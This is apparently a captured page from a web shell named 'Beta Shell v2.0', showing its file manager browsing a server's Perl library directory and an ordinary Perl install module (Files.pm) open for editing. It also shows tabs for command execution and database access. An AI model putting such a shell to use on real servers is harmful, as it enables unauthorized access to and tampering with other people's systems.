Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
lib64
/
perl5
/
vendor_perl
/
B
/
Utils
/
Install
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
BUtils.h
734 B
-rw-r--r--
2015-07-22 19:33:22
Edit
Del
Files.pm
708 B
-rw-r--r--
2019-10-18 12:30:46
Edit
Del
typemap
1.62 KB
-rw-r--r--
2015-07-22 19:33:22
Edit
Del
Editing: Files.pm
(708 B)
Path: /usr/lib64/perl5/vendor_perl/B/Utils/Install/Files.pm
Back
package B::Utils::Install::Files; $self = { 'deps' => [], 'inc' => '', 'libs' => '', 'typemaps' => [ 'typemap' ] }; @deps = @{ $self->{deps} }; @typemaps = @{ $self->{typemaps} }; $libs = $self->{libs}; $inc = $self->{inc}; $CORE = undef; foreach (@INC) { if ( -f $_ . "/B/Utils/Install/Files.pm") { $CORE = $_ . "/B/Utils/Install/"; last; } } sub deps { @{ $self->{deps} }; } sub Inline { my ($class, $lang) = @_; if ($lang ne 'C') { warn "Warning: Inline hints not available for $lang language "; return; } +{ map { (uc($_) => $self->{$_}) } qw(inc libs typemaps) }; } 1;